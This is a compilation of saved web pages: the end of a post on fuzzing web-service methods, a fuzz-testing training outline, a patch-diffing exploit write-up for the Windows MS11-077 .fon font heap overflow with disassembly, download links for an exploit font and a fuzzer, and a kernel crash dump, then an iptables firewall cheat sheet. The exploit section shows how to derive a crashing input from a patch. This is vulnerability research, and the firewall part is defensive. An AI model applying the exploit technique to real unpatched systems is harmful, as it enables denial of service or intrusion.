So yes, some customisations will be needed on a per WebService method basis,
since that is the only way to ensure maximum coverage.

  

Also very important is to look at the state/data returned from the WebService
\(with special attention being placed on cases where a payload sent to
_WebMethod A_ is returned from a normal request sent to _WebMethod B\)._

_  
_

Lack of 'understanding state' is the single reason why fuzzing is very hard.
But without it we are just doing a 'fuzz-everything-that-moves' strategy
\(which sometimes works\).

  

Finally, one must differentiate _Infrastructure fuzzing_ vs  _Application
Fuzzing_\(although both are very important\). Infrastructure fuzzing is when
one fuzzes the underlying services like ASP.NET \(in TM Case\). This type of
tests should be done once, and its results taken into consideration \(for
example fuzzing _" GUID values on a method that expects a GUID"_ or _
"payloads on Headers" _only really needs to be done once\)

  

###  **3\) Fuzz targets/analysis:**

**  
**

When fuzzing one must have very specific targets and analysis in mind.

  

For example here are a couple Fuzzing Targets:

  * Fuzz all WebService's methods with a small subset of crazy payloads \(xss/sqi strings, large strings, negative numbers, large numbers, non ascii chars, weird Unicode chars, etc...\)
  * Fuzz all WebService's methods with valid state and all strings replaced with:

  * XSS Payloads
  * SQLi Payloads
  * Directory transversal payloads

  * Fuzz all WebService's methods with valid state and all GUID replaced with

  * Random GUIDS
  * Valid GUIDs that should not be be accepted \(for example an existing FolderID used on CreateFolder\)

  * Fuzz Authentication methods for authentication specific issues \(for example brute force account/passwords attacks\)
  * Fuzz content creation methods for XSS data injection
  * Fuzz methods used by multiple users \(for example an editor and admin\) and see if payloads injected by an editor are shown to admins
  * Fuzz methods in random invocation sequence \(to try to detect weird race-conditions created by a particular test sequence\)
  * After creating a mapping of what methods can be invoked by what users \(a very specific type of fuzzing\)

  * Fuzz the methods that should not be accessed by a particular user to see if there are blind spots that \(due to a bug/vulnerability\) enable that execution to occur

  * Create requests that can be 'consumed' by 3rd party scanners \(like Zap, Burp, Netsparker, AppScan, etc...\) and:

  * trigger those tests
  * consume its results

  * Fuzz the Fuzz results

  * There will be cases where the fuzz targets will be the fuzz results of previous sessions

These tests will generate a LOT of data, which needs to be:

  * **Normalised** \(with similar responses reported as one\)
  * **Stored** \(as raw as possible\) to allow later analysis
  * **Analysed** , taking into account:

  * the expected result for the fuzzed method
  * the type of test being performed

  * **Reported**\(in an easy to consume and replicate format\)

  

It is important to restate that each type target requires a different type of
analysis. Taking into account what is being tested and \(more importantly\)
what is the expected method invocation result.

  

Another very important concept is the need to have a **fully automated fuzzing
environment.** This should be a 'fuzz-and-forget' world where the fuzz tests
are executed without any human intervention \(don't forget to add a 'stop'
button :\) \)

  

Although this sounds like a lot, the harder part is to create the environment
required to execute the first couple Fuzzing Targets \(as described above\).
Once that is done, the rest are variations.

  

Finally, always keep in mind that the objective is to create something that
can be added to build environment so that these tests can be executed
automatically \(with any new 'findings/fixes' reported to the developers\)

  

**  
**

**Related Posts**

  * Documenting how to test WebServices using scripts - the story so far

# Introduction To Fuzz Testing and Unknown Vulnerability Management | Codenomicon
**Created:**| _6/26/2015 10:49:22 AM_  
---|---  
**Updated:**| _6/26/2015 10:49:22 AM_  
**Author:**| __  
**Tags:**| _vulnerability fuzzing development-process_  
  

#  Introduction To Fuzz Testing and Unknown Vulnerability Management

## Fuzz Testing and Unknown Vulnerability Management - Theory and Practice

The Defensics Training Series teaches viewers how to use fuzz testing to
improve the robustness and security of software, use fuzz testing to locate
unknown vulnerabilities or zero-days in software, and harden software and
mitigate vulnerabilities to reduce your risk.  
  
This volume contains an introduction and parts one through four. It takes you
from theory of unknown vulnerability management to fuzzing as a method to
locate and remediate them, and finally introduces Defensics.

#### Intro: Unknown Vulnerability Management and Discovery Using Fuzzing

#### Part 1: What are Unknown Vulnerabilities and Why Should I Care?

#### Part 2: What is Fuzz Testing and Where Does it Fit in the World of
Software?

#### Part 3: How and Why Fuzz Testing and Managing Your Unknown
Vulnerabilities Saves Money

#### Part 4: Fuzz Testing Techniques: Unfuzzing the Fuzzing

# MS11-077: Vulnerabilities in Windows Kernel-Mode Drivers Could Allow Remote
Code Execution \(2567053\) « Exploit Shop

**Created:**| _10/14/2011 10:47:08 AM_  
---|---  
**Updated:**| _10/14/2011 10:47:08 AM_  
**Author:**| __  
**Tags:**| _windows security vulnerability kernel_  
  

# MS11-077: Vulnerabilities in Windows Kernel-Mode Drivers Could Allow Remote
Code Execution \(2567053\)

**Posted:** 2011/10/12 | **Author:** lifeasageek | **Filed under:** Uncategorized |Leave a comment »
**Download MS11-077 .fon buffer overrun exploit :**my.fon.tar.gz  
**Download very simple \*.fon\* fuzzer like tool :** ms11-077-fon-
exploit.tar.gz

**Related CVEs  
**Font Library File Buffer Overrun Vulnerability – CVE-2011-2003

**Diffing Binary Information  
**win32k.dll: 6.1.7601.21744 \(win7sp1\_ldr.110610-1504\) VS 6.1.7601.21811
\(win7sp1\_ldr.110905-1505\) \(on Windows 7, 32bit\)

**Descriptions  
**This posting is no technical analysis, but it is driven by hardcore &
intuition based analysis to make 1-day exploit.

MS11-077 was confusing at the first time. Because it involves 4 different
vulnerabilities, we should try to match up these vulnerabilities whenever we
reverse engineer the function. This time I will not show the DarunGrim diffing
results cause it showed around 50 different functions\! Don’t get frustrated
though. It’s not going to take that long time to take a look all of them.
Within 10 secs for each of the function, you might be able to decide whether
the function is interesting or not.

Before getting to the details, you may also look into these. Three functions
seem to be related to the null dereference bugs \(\_NtUserfnINLBOXSTRING\(\),
\_NtUserfnSENTDDEMSG\(\), \_InterQueueMsgCleanup\(\)\). The function,
\_ConvertToAndFromWideChar\(\), seem to be related to “Win32k Use After Free
Vulnerability – CVE-2011-2011″. You must be able to understand what I am
meaning by here as soon as you open up these functions with DarunGrim.

What I want to focus in this post is .FON buffer overrun bug
\(CVE-2011-2003\). From DarunGrim diffing result, \_BmfdOpenFontContext\(\)
showed the different point below.

<img src='img/Temp2_5040.png' width='590' height='256' alt='alt' />

What ??? Patched version only adds immediate value ’5′ to some value \(add
eax, 5\), and that computed value is related to decide the size of allocation.
Seems interesting but strange. It is time to see the details to understand the
contexts. Here goes the disassembly around the changed BB of the old
win32k.sys.

`.text:90857F82 loc_90857F82: ; CODE XREF: BmfdOpenFontContext(x)+E2j  
.text:90857F82 mov eax, [ebp+numElement]  
.text:90857F85 add eax, 7  
.text:90857F88 shr eax, 3  
.text:90857F8B mov [ebp+var_4], ecx  
.text:90857F8E cmp eax, 100h  
.text:90857F93 jbe short loc_90857FA1  
.text:90857F95 add eax, 28h  
.text:90857F98 mov [ebp+var_4], 3  
.text:90857F9F jmp short loc_90857FA4  
.text:90857FA1  
.text:90857FA1 loc_90857FA1: ; CODE XREF: BmfdOpenFontContext(x)+E7j  
.text:90857FA1 ; BmfdOpenFontContext(x)+FAj  
.text:90857FA1 mov eax, [ebp+preDefinedSize]  
.text:90857FA4  
.text:90857FA4 loc_90857FA4: ; CODE XREF: BmfdOpenFontContext(x)+106j  
.text:90857FA4 push 64666D42h ; Tag  
.text:90857FA9 push eax ; int  
.text:90857FAA push 0 ; char  
.text:90857FAC call _EngAllocMem@12 ; EngAllocMem(x,x,x)  
`  
This is the pseudo-code of these assembly. The variable naming was done at my
convenience.

`uint preDefinedSize = 0x28; // mov dword ptr [ebp-14h], 28h  
sizeToAllocate = (numElement + 7) / 8;`

if\( sizeToAllocate <= 0×100\)  
sizeToAllocate = preDefinedSize;  
else  
sizeToAllocate += 0×28;

EngAllocMem\(0, sizeToAllocate, 0x64666d42\);

All right. In the patched version, the sizeToAllocate variable would be
computed as “\(\(numElement + 7\) / 8 \) + 5″. After spending some time, we
suspected some range of the values, which should have taken ‘else’ branch,
mistakenly took ‘then’ branch. Because it took ‘then’ branch, the allocated
size was too small and this small size of allocation would lead to buffer
overrun later \(We understand this interpretation is far from scientific or
logical reverse engineering, but you should know that this sloppy logic is
enough to write an 1-day exploit.\)

More specifically, we suspected the numElement values, satisfying 0xaa <=
\(numElement +7\) /8 <= 0×100, would cause trouble \(though we don’t know why
and how \!\). We got this false fail idea in the patched binary from D.
Brumeley et al.’s paper, “Automatic Patch-Based Exploit Generation is
Possible: Techniques and Implications”
\(http://www.cs.berkeley.edu/~dawnsong/papers/apeg.pdf\).

Things are getting clear. Our goal should be to find the input which satisfies
the above statement. From the MS technet description, “improper handling of a
specially crafted .fon font file”, and the function name
\_BmfdOpenFontContext\(\), which implies bitmap font driver something, we
decided to manipulate .fon file. To play with .fon files, we implemented very
simple ‘.fon’ file format recognizing fuzzer like tool. Using this tool, we
figured ‘width’ field is related \(see our \*fuzzer\* for details\) to control
numElement variable, and it leads to ‘heap overflow’ when the variable
satisfies the vulnerable condition. What’s the interesting is that you only
need to visit the directly containing .fon file to trigger bitmap font driver
routines <img src='img/Temp2_5041.png' alt=':)' />

I am attaching the .fon font file generated by our python codes \(upon
mkwinfont by Simon Tatham\) and windbg crash dumps. We are not sure this bug
can actually be used to execute the arbitrary codes, but we’d like to leave
this question to you guys.

**Download MS11-077 .fon buffer overrun exploit :**my.fon.tar.gz  
**Download very simple \*.fon\* fuzzer like tool :** ms11-077-fon-
exploit.tar.gz

`Breakpoint 1 hit  
win32k!BmfdOpenFontContext+0xec:  
90857f85 83c007 add eax,7  
kd> r  
eax=00000730 ebx=fe9aacf0 ecx=00000001 edx=00000001 esi=00000028 edi=fe7fc1f8  
eip=90857f85 esp=8a2af8d0 ebp=8a2af904 iopl=0 nv up ei pl nz na pe nc  
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00000206  
win32k!BmfdOpenFontContext+0xec:  
90857f85 83c007 add eax,7  
kd> r eax  
eax=00000730  
kd> p  
win32k!BmfdOpenFontContext+0xef:  
90857f88 c1e803 shr eax,3  
kd> p  
win32k!BmfdOpenFontContext+0xf2:  
90857f8b 894dfc mov dword ptr [ebp-4],ecx  
kd> r eax  
eax=000000e6  
kd> g`

\*\*\* Fatal System Error: 0×00000019  
\(0×00000020,0xFE1ED440,0xFE1ED5A0,0x4A2C000C\)

Break instruction exception – code 80000003 \(first chance\)

A fatal system error has occurred.  
Debugger entered on first try; Bugcheck callbacks have not been invoked.

A fatal system error has occurred.

Connected to Windows 7 7600 x86 compatible target at \(Wed Oct 12 18:38:42.012
2011 \(UTC – 4:00\)\), ptr64 FALSE  
Loading Kernel Symbols  
………………………………………………………  
……………………………………………………….  
…………………..  
Loading User Symbols  
…………….  
Loading unloaded module list  
…..  
\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*  
\* \*  
\* Bugcheck Analysis \*  
\* \*  
\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

Use \!analyze -v to get detailed debugging information.

BugCheck 19, \{20, fe1ed440, fe1ed5a0, 4a2c000c\}

Probably caused by : win32k.sys \( win32k\!EngFreeMem+1f \)

Followup: MachineOwner  
———

nt\!RtlpBreakWithStatusInstruction:  
828be394 cc int 3  
kd> \!analyze -v  
\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*  
\* \*  
\* Bugcheck Analysis \*  
\* \*  
\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

BAD\_POOL\_HEADER \(19\)  
The pool is already corrupt at the time of the current request.  
This may or may not be due to the caller.  
The internal pool links must be walked to figure out a possible cause of  
the problem, and then special pool applied to the suspect tags or the driver  
verifier to a suspect driver.  
Arguments:  
Arg1: 00000020, a pool block header size is corrupt.  
Arg2: fe1ed440, The pool entry we were looking for within the page.  
Arg3: fe1ed5a0, The next pool entry.  
Arg4: 4a2c000c, \(reserved\)

Debugging Details:  
——————

BUGCHECK\_STR: 0x19\_20

POOL\_ADDRESS: fe1ed440 Paged session pool

DEFAULT\_BUCKET\_ID: VISTA\_DRIVER\_FAULT

PROCESS\_NAME: csrss.exe

CURRENT\_IRQL: 2

LAST\_CONTROL\_TRANSFER: from 8292fe71 to 828be394

STACK\_TEXT:  
8a2af3b4 8292fe71 00000003 dda0d4a7 00000065
nt\!RtlpBreakWithStatusInstruction  
8a2af404 8293096d 00000003 fe1ed440 000001ff nt\!KiBugCheckDebugBreak+0x1c  
8a2af7c8 829721b6 00000019 00000020 fe1ed440 nt\!KeBugCheck2+0x68b  
8a2af844 9088c189 fe1ed448 00000000 fe7fc1d8 nt\!ExFreePoolWithTag+0x1b1  
8a2af858 90950204 fe1ed458 90959cdf fe40f480 win32k\!EngFreeMem+0x1f  
8a2af86c 90959cf5 fe1ed458 8a2af8d8 8a2af8b4 win32k\!BmfdCloseFontContext+0×41  
8a2af87c 90965501 fe40f480 00000000 8a2af930 win32k\!BmfdDestroyFont+0×16  
8a2af8b4 90965554 fe40f480 00000000 8a2afc70 win32k\!PDEVOBJ::DestroyFont+0×67  
8a2af8e4 908d0d1e 00000000 8a2af910 00000001
win32k\!RFONTOBJ::vDeleteRFONT+0×33  
8a2af928 908d2d15 fe40f480 050a071e 8a2afc70
win32k\!RFONTOBJ::bMakeInactiveHelper+0x25a  
8a2af984 908fba77 00000000 8a2afc70 00000000
win32k\!RFONTOBJ::vMakeInactive+0×72  
8a2afa04 908fbd74 8a2afc3c 00000000 00000004 win32k\!RFONTOBJ::bInit+0xe3  
8a2afa1c 908a4b2b 8a2afc3c 00000000 00000004 win32k\!RFONTOBJ::vInit+0×16  
8a2afcb8 908a4a2f 69010742 00000340 00000040 win32k\!GreGetCharABCWidthsW+0×86  
8a2afd14 8289642a 69010742 00000340 00000040
win32k\!NtGdiGetCharABCWidthsW+0xf8  
8a2afd14 76f864f4 69010742 00000340 00000040 nt\!KiFastCallEntry+0x12a  
0435e9ac 00000000 00000000 00000000 00000000 ntdll\!KiFastSystemCallRet

STACK\_COMMAND: kb

FOLLOWUP\_IP:  
win32k\!EngFreeMem+1f  
9088c189 5e pop esi

SYMBOL\_STACK\_INDEX: 4

SYMBOL\_NAME: win32k\!EngFreeMem+1f

FOLLOWUP\_NAME: MachineOwner

MODULE\_NAME: win32k

IMAGE\_NAME: win32k.sys

DEBUG\_FLR\_IMAGE\_TIMESTAMP: 4a5bc2a2

FAILURE\_BUCKET\_ID: 0x19\_20\_win32k\!EngFreeMem+1f

BUCKET\_ID: 0x19\_20\_win32k\!EngFreeMem+1f

Followup: MachineOwner  
———

# trimstray/iptables-essentials

**Created:**| _9/23/2018 8:55:16 AM_  
---|---  
**Updated:**| _9/23/2018 8:55:16 AM_  
**Author:**| _wishi_  
**Tags:**| _Linux Firewalls iptables_  
  

  

# trimstray/iptables-essentials

## Iptables Essentials: Common Firewall Rules and Commands

Found on the Internet - All in One List.

## ☑️ Todo

  * Add useful Iptables configuration examples
  * Add useful Kernel Settings \(sysctl\) configuration examples
  * Add links to useful external resources
  * Add advanced configuration examples, commands, rules

* * *
## Table Of Content

* * *
### Tools to help you configure Iptables

🔸 **Shorewall** \- advanced gateway/firewall configuration tool for GNU/Linux.  
🔸 **Firewalld** \- provides a dynamically managed firewall.  
🔸 **UFW** \- default firewall configuration tool for Ubuntu.  
🔸 **FireHOL** \- offer simple and powerful configuration for all Linux
firewall and traffic shaping requirements.

### Manuals/Howtos/Tutorials

🔸 **Best practices: iptables - by Major Hayden**  
🔸 **An In-Depth Guide to Iptables, the Linux Firewall**  
🔸 **Advanced Features of netfilter/iptables**  
🔸 **Linux Firewalls Using iptables**  
🔸 **Debugging iptables and common firewall pitfalls?**  
🔸 **Netfilter Hacking HOWTO**

### How it works?

<img src='img/iptables-packet-flow-ng.png' width='576' height='256'
alt='Master' />

### Iptables Rules

#### Saving Rules

###### Debian Based

[code]

    netfilter-persistent save
[/code]

###### RedHat Based

[code]

    service iptables save
[/code]

#### List out all of the active iptables rules with verbose

[code]

    iptables -n -L -v
[/code]

#### List out all of the active iptables rules with numeric lines and verbose

[code]

    iptables -n -L -v --line-numbers
[/code]

#### Print out all of the active iptables rules

[code]

    iptables -S
[/code]

#### List Rules as Tables for INPUT chain

[code]

    iptables -L INPUT
[/code]

#### Print all of the rule specifications in the INPUT chain

[code]

    iptables -S INPUT
[/code]

#### Show Packet Counts and Aggregate Size

[code]

    iptables -L INPUT -v
[/code]

#### To display INPUT or OUTPUT chain rules with numeric lines and verbose

[code]

    iptables -L INPUT -n -v
    iptables -L OUTPUT -n -v --line-numbers
[/code]

#### Delete Rule by Chain and Number

[code]

    iptables -D INPUT 10
[/code]

#### Delete Rule by Specification

[code]

    iptables -D INPUT -m conntrack --ctstate INVALID -j DROP
[/code]

#### Flush All Rules, Delete All Chains, and Accept All

[code]

    iptables -P INPUT ACCEPT
    iptables -P FORWARD ACCEPT
    iptables -P OUTPUT ACCEPT
    
    iptables -t nat -F
    iptables -t mangle -F
    iptables -F
    iptables -X
[/code]

#### Flush All Chains

[code]

    iptables -F
[/code]

#### Flush a Single Chain

[code]

    iptables -F INPUT
[/code]

#### Insert Firewall Rules

[code]

    iptables -I INPUT 2 -s 202.54.1.2 -j DROP
[/code]

#### Allow Loopback Connections

[code]

    iptables -A INPUT -i lo -j ACCEPT
    iptables -A OUTPUT -o lo -j ACCEPT
[/code]

#### Allow Established and Related Incoming Connections

[code]

    iptables -A INPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT
[/code]

#### Allow Established Outgoing Connections

[code]

    iptables -A OUTPUT -m conntrack --ctstate ESTABLISHED -j ACCEPT
[/code]

#### Internal to External

[code]

    iptables -A FORWARD -i eth1 -o eth0 -j ACCEPT
[/code]

#### Drop Invalid Packets

[code]

    iptables -A INPUT -m conntrack --ctstate INVALID -j DROP
[/code]

#### Block an IP Address

[code]

    iptables -A INPUT -s 192.168.252.10 -j DROP
[/code]

#### Block and IP Address and Reject

[code]

    iptables -A INPUT -s 192.168.252.10 -j REJECT
[/code]

#### Block Connections to a Network Interface

[code]

    iptables -A INPUT -i eth0 -s 192.168.252.10 -j DROP
[/code]

#### Block Connections to a Network Interface

[code]

    iptables -A INPUT -i eth0 -s 192.168.252.10 -j DROP
[/code]

#### Allow All Incoming SSH

[code]

    iptables -A INPUT -p tcp --dport 22 -m conntrack --ctstate NEW,ESTABLISHED -j ACCEPT
    iptables -A OUTPUT -p tcp --sport 22 -m conntrack --ctstate ESTABLISHED -j ACCEPT
[/code]

#### Allow Incoming SSH from Specific IP address or subnet

[code]

    iptables -A INPUT -p tcp -s 192.168.240.0/24 --dport 22 -m conntrack --ctstate NEW,ESTABLISHED -j ACCEPT
    iptables -A OUTPUT -p tcp --sport 22 -m conntrack --ctstate ESTABLISHED -j ACCEPT
[/code]

#### Allow Outgoing SSH

[code]

    iptables -A OUTPUT -p tcp --dport 22 -m conntrack --ctstate NEW,ESTABLISHED -j ACCEPT
    iptables -A INPUT -p tcp --sport 22 -m conntrack --ctstate ESTABLISHED -j ACCEPT
[/code]

#### Allow Incoming Rsync from Specific IP Address or Subnet

[code]

    iptables -A INPUT -p tcp -s 192.168.240.0/24 --dport 873 -m conntrack --ctstate NEW,ESTABLISHED -j ACCEPT
    iptables -A OUTPUT -p tcp --sport 873 -m conntrack --ctstate ESTABLISHED -j ACCEPT
[/code]

#### Allow All Incoming HTTP

[code]

    iptables -A INPUT -p tcp --dport 80 -m conntrack --ctstate NEW,ESTABLISHED -j ACCEPT
    iptables -A OUTPUT -p tcp --sport 80 -m conntrack --ctstate ESTABLISHED -j ACCEPT
[/code]

#### Allow All Incoming HTTPS

[code]

    iptables -A INPUT -p tcp --dport 443 -m conntrack --ctstate NEW,ESTABLISHED -j ACCEPT
    iptables -A OUTPUT -p tcp --sport 443 -m conntrack --ctstate ESTABLISHED -j ACCEPT
[/code]

#### Allow All Incoming HTTP and HTTPS

[code]

    iptables -A INPUT -p tcp -m multiport --dports 80,443 -m conntrack --ctstate NEW,ESTABLISHED -j ACCEPT
    iptables -A OUTPUT -p tcp -m multiport --dports 80,443 -m conntrack --ctstate ESTABLISHED -j ACCEPT
[/code]

#### Allow MySQL from Specific IP Address or Subnet

[code]

    iptables -A INPUT -p tcp -s 192.168.240.0/24 --dport 3306 -m conntrack --ctstate NEW,ESTABLISHED -j ACCEPT
    iptables -A OUTPUT -p tcp --sport 3306 -m conntrack --ctstate ESTABLISHED -j ACCEPT
[/code]

#### Allow MySQL to Specific Network Interface

[code]

    iptables -A INPUT -i eth1 -p tcp --dport 3306 -m conntrack --ctstate NEW,ESTABLISHED -j ACCEPT
    iptables -A OUTPUT -o eth1 -p tcp --sport 3306 -m conntrack --ctstate ESTABLISHED -j ACCEPT
[/code]

#### PostgreSQL from Specific IP Address or Subnet

[code]

    iptables -A INPUT -p tcp -s 192.168.240.0/24 --dport 5432 -m conntrack --ctstate NEW,ESTABLISHED -j ACCEPT
    iptables -A OUTPUT -p tcp --sport 5432 -m conntrack --ctstate ESTABLISHED -j ACCEPT
[/code]

#### Allow PostgreSQL to Specific Network Interface

[code]

    iptables -A INPUT -i eth1 -p tcp --dport 5432 -m conntrack --ctstate NEW,ESTABLISHED -j ACCEPT
    iptables -A OUTPUT -o eth1 -p tcp --sport 5432 -m conntrack --ctstate ESTABLISHED -j ACCEPT
[/code]

#### Block Outgoing SMTP Mail

[code]

    iptables -A OUTPUT -p tcp --dport 25 -j REJECT
[/code]

#### Allow All Incoming SMTP

[code]

    iptables -A INPUT -p tcp --dport 25 -m conntrack --ctstate NEW,ESTABLISHED -j ACCEPT
    iptables -A OUTPUT -p tcp --sport 25 -m conntrack --ctstate ESTABLISHED -j ACCEPT
[/code]

#### Allow All Incoming IMAP

[code]

    iptables -A INPUT -p tcp --dport 143 -m conntrack --ctstate NEW,ESTABLISHED -j ACCEPT
    iptables -A OUTPUT -p tcp --sport 143 -m conntrack --ctstate ESTABLISHED -j ACCEPT
[/code]

#### Allow All Incoming IMAPS

[code]

    iptables -A INPUT -p tcp --dport 993 -m conntrack --ctstate NEW,ESTABLISHED -j ACCEPT
    iptables -A OUTPUT -p tcp --sport 993 -m conntrack --ctstate ESTABLISHED -j ACCEPT
[/code]

#### Allow All Incoming POP3

[code]

    iptables -A INPUT -p tcp --dport 110 -m conntrack --ctstate NEW,ESTABLISHED -j ACCEPT
    iptables -A OUTPUT -p tcp --sport 110 -m conntrack --ctstate ESTABLISHED -j ACCEPT
[/code]

#### Allow All Incoming POP3S

[code]

    iptables -A INPUT -p tcp --dport 995 -m conntrack --ctstate NEW,ESTABLISHED -j ACCEPT
    iptables -A OUTPUT -p tcp --sport 995 -m conntrack --ctstate ESTABLISHED -j ACCEPT
[/code]

#### Drop Private Network Address On Public Interface

[code]

    iptables -A INPUT -i eth1 -s 192.168.0.0/24 -j DROP
    iptables -A INPUT -i eth1 -s 10.0.0.0/8 -j DROP
[/code]

#### Only Block Incoming Traffic

[code]

    iptables -P INPUT DROP
    iptables -P FORWARD DROP
    iptables -P OUTPUT ACCEPT
    iptables -A INPUT -m state --state NEW,ESTABLISHED -j ACCEPT
[/code]

#### Drop All Outgoing to Facebook Networks

Get Facebook AS:

[code]

    whois -h v4.whois.cymru.com " -v $(host facebook.com | grep "has address" | cut -d " " -f4)" | tail -n1 | awk '{print $1}'
[/code]

Drop:

[code]

    for i in $(whois -h whois.radb.net -- '-i origin AS32934' | grep "^route:" | cut -d ":" -f2 | sed -e 's/^[ \t]*//' | sort -n -t . -k 1,1 -k 2,2 -k 3,3 -k 4,4 | cut -d ":" -f2 | sed 's/$/;/') ; do
    
      iptables -A OUTPUT -s "$i" -j REJECT
    
    done
[/code]

#### Log and Drop Packets

[code]

    iptables -A INPUT -i eth1 -s 10.0.0.0/8 -j LOG --log-prefix "IP_SPOOF A: "
    iptables -A INPUT -i eth1 -s 10.0.0.0/8 -j DROP
[/code]

By default everything is logged to `/var/log/messages` file:

[code]

    tail -f /var/log/messages
    grep --color 'IP SPOOF' /var/log/messages
[/code]

#### Log and Drop Packets with Limited Number of Log Entries

[code]

    iptables -A INPUT -i eth1 -s 10.0.0.0/8 -m limit --limit 5/m --limit-burst 7 -j LOG --log-prefix "IP_SPOOF A: "
    iptables -A INPUT -i eth1 -s 10.0.0.0/8 -j DROP
[/code]

#### Drop or Accept Traffic From Mac Address

[code]

    iptables -A INPUT -m mac --mac-source 00:0F:EA:91:04:08 -j DROP
    iptables -A INPUT -p tcp --destination-port 22 -m mac --mac-source 00:0F:EA:91:04:07 -j ACCEPT
[/code]

#### Block or Allow ICMP Ping Request

[code]

    iptables -A INPUT -p icmp --icmp-type echo-request -j DROP
    iptables -A INPUT -i eth1 -p icmp --icmp-type echo-request -j DROP
[/code]

#### Specifying Multiple Ports with `multiport`

[code]

    iptables -A INPUT -i eth0 -p tcp -m state --state NEW -m multiport --dports ssh,smtp,http,https -j ACCEPT
[/code]

#### Load Balancing with `random*` or `nth*`

[code]

    _ips=("172.31.250.10" "172.31.250.11" "172.31.250.12" "172.31.250.13")
    
    for ip in "${_ips[@]}" ; do
      iptables -A PREROUTING -i eth0 -p tcp --dport 80 -m state --state NEW -m nth --counter 0 --every 4 --packet 0 \
        -j DNAT --to-destination ${ip}:80
    done
[/code]

or

[code]

    _ips=("172.31.250.10" "172.31.250.11" "172.31.250.12" "172.31.250.13")
    
    for ip in "${_ips[@]}" ; do
      iptables -A PREROUTING -i eth0 -p tcp --dport 80 -m state --state NEW -m random --average 25 \
        -j DNAT --to-destination ${ip}:80
    done
[/code]

#### Restricting the Number of Connections with `limit` and `iplimit*`

[code]

    iptables -A FORWARD -m state --state NEW -p tcp -m multiport --dport http,https -o eth0 -i eth1 \
        -m limit --limit 20/hour --limit-burst 5 -j ACCEPT
[/code]

or

[code]

    iptables -A INPUT -p tcp -m state --state NEW --dport http -m iplimit --iplimit-above 5 -j DROP
[/code]

#### Maintaining a List of recent Connections to Match Against

[code]

    iptables -A FORWARD -m recent --name portscan --rcheck --seconds 100 -j DROP
    iptables -A FORWARD -p tcp -i eth0 --dport 443 -m recent --name portscan --set -j DROP
[/code]

#### Matching Against a `string*` in a Packet's Data Payload

[code]

    iptables -A FORWARD -m string --string '.com' -j DROP
    iptables -A FORWARD -m string --string '.exe' -j DROP
[/code]

#### Time-based Rules with `time*`

[code]

    iptables -A FORWARD -p tcp -m multiport --dport http,https -o eth0 -i eth1 \
        -m time --timestart 21:30 --timestop 22:30 --days Mon,Tue,Wed,Thu,Fri -j ACCEPT
[/code]

#### Packet Matching Based on TTL Values

[code]

    iptables -A INPUT -s 1.2.3.4 -m ttl --ttl-lt 40 -j REJECT
[/code]

#### Protection against port scanning

[code]

    iptables -N port-scanning
    iptables -A port-scanning -p tcp --tcp-flags SYN,ACK,FIN,RST RST -m limit --limit 1/s --limit-burst 2 -j RETURN
    iptables -A port-scanning -j DROP
[/code]

#### SSH brute-force protection

[code]

    iptables -A INPUT -p tcp --dport ssh -m conntrack --ctstate NEW -m recent --set
    iptables -A INPUT -p tcp --dport ssh -m conntrack --ctstate NEW -m recent --update --seconds 60 --hitcount 10 -j DROP
[/code]

#### Syn-flood protection

[code]

    iptables -N syn_flood
    
    iptables -A INPUT -p tcp --syn -j syn_flood
    iptables -A syn_flood -m limit --limit 1/s --limit-burst 3 -j RETURN
    iptables -A syn_flood -j DROP
    
    iptables -A INPUT -p icmp -m limit --limit  1/s --limit-burst 1 -j ACCEPT
    
    iptables -A INPUT -p icmp -m limit --limit 1/s --limit-burst 1 -j LOG --log-prefix PING-DROP:
    iptables -A INPUT -p icmp -j DROP
    
    iptables -A OUTPUT -p icmp -j ACCEPT
[/code]

##### Mitigating SYN Floods With SYNPROXY

[code]

    iptables -t raw -A PREROUTING -p tcp -m tcp --syn -j CT --notrack
    iptables -A INPUT -p tcp -m tcp -m conntrack --ctstate INVALID,UNTRACKED -j SYNPROXY --sack-perm --timestamp --wscale 7 --mss 1460
    iptables -A INPUT -m conntrack --ctstate INVALID -j DROP
[/code]

#### Block New Packets That Are Not SYN

[code]

    iptables -A INPUT -p tcp ! --syn -m state --state NEW -j DROP
[/code]

or

[code]

    iptables -t mangle -A PREROUTING -p tcp ! --syn -m conntrack --ctstate NEW -j DROP
[/code]

#### Force Fragments packets check

[code]

    iptables -A INPUT -f -j DROP
[/code]

#### XMAS packets

[code]

    iptables -A INPUT -p tcp --tcp-flags ALL ALL -j DROP
[/code]

#### Drop all NULL packets

[code]

    iptables -A INPUT -p tcp --tcp-flags ALL NONE -j DROP
[/code]

#### Block Uncommon MSS Values

[code]

    iptables -t mangle -A PREROUTING -p tcp -m conntrack --ctstate NEW -m tcpmss ! --mss 536:65535 -j DROP
[/code]

#### Block Packets With Bogus TCP Flags

[code]

    iptables -t mangle -A PREROUTING -p tcp --tcp-flags FIN,SYN,RST,PSH,ACK,URG NONE -j DROP
    iptables -t mangle -A PREROUTING -p tcp --tcp-flags FIN,SYN FIN,SYN -j DROP
    iptables -t mangle -A PREROUTING -p tcp --tcp-flags SYN,RST SYN,RST -j DROP
    iptables -t mangle -A PREROUTING -p tcp --tcp-flags FIN,RST FIN,RST -j DROP
    iptables -t mangle -A PREROUTING -p tcp --tcp-flags FIN,ACK FIN -j DROP
